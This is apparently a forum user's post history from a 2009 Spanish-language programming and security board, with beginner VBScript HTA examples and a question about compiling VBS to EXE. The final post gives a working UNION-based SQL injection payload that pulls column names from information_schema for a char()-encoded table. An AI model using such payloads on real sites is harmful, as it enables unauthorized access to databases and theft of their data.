|
141
|
Programación / Scripting / [vbs] Mi primer HTA =D
|
en: 28 Septiembre 2009, 18:59 pm
|
Bueno, os dejo mi primer HTA que interactua con el vbs, con variables y funciones y tal <html> <HEAD> <TITLE>xassiz HTA</TITLE> <HTA:APPLICATION ID="miHTA" APPLICATIONNAME="xassiz HTA" BORDER="thin" BORDER STYLE="raised" CAPTION="yes" SCROLL="yes" SELECTION="no"> <body bgcolor="black"> </HEAD> <body> <center> <font color="red"><h1>xassiz HTA</h1></font> <script language="VBScript"> Window.ResizeTo 390, 410 </script> <br><br> <input type="button" value="Saludar" name="run_button" onClick="saludar"> <br><br> <input type="button" value="Despedir" name="run_button" onClick="despedir"> <br><br> <input type="button" value="Cambiar Nombre" name="run_button" onClick="changename"> <br><br> <script language="VBScript"> nombre = InputBox("Tu nombre","xassiz HTA","xassiz") Function saludar() msgbox"Hola "&nombre&"!!",99,"xassiz HTA" End Function Function despedir() msgbox"Adios "&nombre&"!!",99,"xassiz HTA" End Function Function changename() nombre = InputBox("Tu nombre","xassiz HTA","xassiz") End Function </script>
</center> </body> </html> HTA Rulez
|
|
|
145
|
Programación / Scripting / Re: [vbs] HTA.. ¬¬
|
en: 28 Septiembre 2009, 15:43 pm
|
Si si, ya vi como funciona: <html> <HEAD> <TITLE>xassiz HTA</TITLE> <HTA:APPLICATION ID="miHTA" APPLICATIONNAME="xassiz HTA" BORDER="thin" BORDER STYLE="raised" CAPTION="yes" SCROLL="yes" SELECTION="no"> <body bgcolor="black"> </HEAD> <body> <center> <font color="red"><h1>xassiz HTA</h1></font> <script language="VBScript"> Window.ResizeTo 390, 410 </script> <br><br> <input type="button" value="Saludar" name="run_button" onClick="saludar"> <br><br> <input type="button" value="Despedir" name="run_button" onClick="despedir"> <br><br> <script language="VBScript"> Function saludar() msgbox"Hola "&nombre&"!!",99,"xassiz HTA" End Function Function despedir() msgbox"Adios "&nombre&"!!",99,"xassiz HTA" End Function nombre = InputBox("Tu nombre","xassiz HTA","xassiz") </script>
</center> </body> </html>
Ahora si que voy a hacer mas cosas Ahora buscare como hacer un txtbox en html Saludos!!
|
|
|
146
|
Programación / Scripting / Re: Compilar vbss.. a exe
|
en: 28 Septiembre 2009, 15:12 pm
|
Bien, ahora me pasa otra cosa (antes intentaba abrir el .vbs Puse el codigo en el Form1 y le doy a Generar Proyecto1.exe, pero me pone: Error de Compilacion:
El procedimiento externo no es válido.
|
|
|
150
|
Seguridad Informática / Nivel Web / Re: duda sql injection
|
en: 27 Septiembre 2009, 23:01 pm
|
Tu pusiste " almnos" Prueba este: -1+union+select+1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(97,108,117,109,110,111,115)-- Saludos
|
|
|
|
|
|
|